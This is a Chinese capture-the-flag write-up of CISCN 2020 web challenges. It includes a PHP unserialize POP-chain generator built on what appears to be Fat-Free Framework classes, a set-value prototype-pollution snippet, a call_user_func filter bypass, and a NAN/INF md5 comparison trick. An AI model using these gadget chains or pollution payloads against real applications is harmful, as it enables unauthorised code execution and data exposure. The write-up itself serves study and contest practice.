0%

[CISCN2020 华东北赛区]web wp

[CISCN2020 华东北赛区]web wp

国赛结束写wp,输出很低,web都被神仙们日穿了,每个题都几百解,太牛逼了
没保留题目源码,就凑合着写吧

easyphp

用pntcl库开线程,子进程里面有命令执行,call_user_func_array($_GET['a'], array($_GET['b']), false, true);
父进程调用了pntcl_wait后调用pcntl_wifexited,子进程如果异常退出,父进程就会展示phpinfo,flag就在phpinfo里面,正则匹配$_GET[‘a’]不能有exec和pntcl之类的字段
使用call_user_func_array调用一个三个参数的函数,一开始fuzz能接受三个参数的函数fuzz了半天,最后意识到可以直接调用一个call_user_func,用call_user_func再去调用pntcl库的函数,不受正则影响,
师傅说子进程调用一个pntcl_wait就可以让父进程的pcntl_wifexited判断出问题,理论上感觉是子进程被挂起父进程wait结束发现子进程未正常退出吧?
在phpinfo中获取flag

littlegame

js原型链污染,给flag靠Admin[key] === password,key和password均可控,污染掉object给admin加一个属性就可以了,Privilege路由下面可以添加属性,key,value均可控,使用set-value第三方库进行合并操作,原型链污染点,大概看了一下合并(没看太懂,感觉就是简单地赋值合并)用如下代码进行尝试,发现原型链被污染,同理打一个payload就能获取flag了

let k = "__proto__.aaa".toString();
let v = "111".toString();
let o = {"a":"a"};
setFn(o,k,v);
let b = {};
console.log(b["aaa"])    // 111

trick

看了师傅们的wp之后发现原来在给了package.json的时候可以运行一下npm audit直接查找当前第三方库存在什么样的问题,js类的题经常出现第三方库的漏洞,运行一下得到如下输出

$ npm audit

                       === npm audit security report ===

# Run  npm update set-value --depth 1  to resolve 1 vulnerability

  High            Prototype Pollution

  Package         set-value

  Dependency of   set-value

  Path            set-value

  More info       https://npmjs.com/advisories/1012

found 1 high severity vulnerability in 61 scanned packages
  run `npm audit fix` to fix 1 of them.

直接告诉了有原型链污染,太高级了

babyunserialize

WMCTF相同的框架,把WMCTF能查到的几个wp用到的pop链的函数都删了,自己写了一个可爱的正则去找$xxx->xxx($this->xxxx)的函数调用形式,在DB\Jig\Mapper里面找到了好几个类似函数,选一个update用,WS类是反序列化出来让autoload加载Agent类的,用Agent类的析构函数构造出pop链,array($MongoMapper,”update”)()这种形式的动态调用会调用MongoMapper类的update方法

<?php
namespace CLI{
    class Agent
    {
        protected $server;
        public function __construct($server)
        {
            $this->server=$server;
        }
    }

    class WS
    {
    }
}
namespace DB{
    abstract class Cursor  implements \IteratorAggregate {}
    class Mongo {
        public $events;
        public function __construct($events)
        {
            $this->events=$events;
        }
    }
}

namespace DB\Mongo{
    class Mapper extends \DB\Cursor {
        protected $legacy=0;
        protected $collection;
        protected $document;
        public function __construct($collection,$document){
            $this->collection=$collection;
            $this->document=$document;
        }
    }
}
namespace DB\SQL{
    class Mapper extends \DB\Cursor{
        protected $props;
        function __construct($props)
        {
            $this->props = $props;
        }
    }
}

namespace DB\Jig{
    class Mapper
    {
        protected $db;
        protected $file;

        function __construct($db, $file)
        {
            $this->db = $db;
            $this->file = $file;
        }
    }
}

namespace{
    $SQLMapper=new DB\SQL\Mapper(array("read"=>"phpinfo"));
    $MongoMapper=new DB\Jig\Mapper($SQLMapper,-1);
    $DBMongo=new DB\Mongo(array('disconnect'=>array($MongoMapper,"update")));
    $Agent=new CLI\Agent($DBMongo);
    $WS=new CLI\WS();
    echo urlencode(serialize(array($WS,$Agent)));
}

看了眼phpinfo,超级disable_function和open_basedir,想翻翻能不能翻出来什么奇怪的插件利用,结果突然翻到了flag,交了一下成了
这里明明__call函数使用的是call_user_func_array,但是实际上我试着传入两个参数的时候却一直报错只给了一个,不知道是怎么回事

easytrick

想了一晚上没想出来,头都烂了

<?php
class trick{
    public $trick1;
    public $trick2;
    public function __destruct()
    {
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5)
        {
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2) 
        {
            echo file_get_contents("/flag");
        }
    }
}

反序列化绕过md5,超级强md5判断,限制了长度的话就得是弱类型md5,问题就在于md5强类型相等后又需要trick弱类型不相等,并且两个trick中有一个会被强制类型转换为string,还有长度限制,太过分了

比赛结束之后师傅和我说他想出来了,不过说实话还是感觉有点有违常识
md5函数只接受字符串,接受数组时会返回false,接受数字时会将其转换为十进制数字的字符串进行运算,但是相同的数字和字符串在弱类型上是相同的,因此这种最基本的方法自然不行
但是PHP中存在一些奇怪的数字,也许它们并不是数字?
NAN和INF,分别为非数字和无穷大,但是var_dump一下它们的数据类型却是double,那么在md5函数处理它们的时候,是将其直接转换为字符串”NAN”和字符串”INF”使用的,但是它们拥有特殊的性质,它们与任何数据类型(除了true)做强类型或弱类型比较均为false,甚至NAN==NAN都是false,通过这个性质,可以令trick1=”NAN”,trick2=NAN,完成判断取得flag
贴一个讲这个的链接
https://blog.csdn.net/weixin_43257005/article/details/106118623

如果昨天晚上就想出来就好了呜呜呜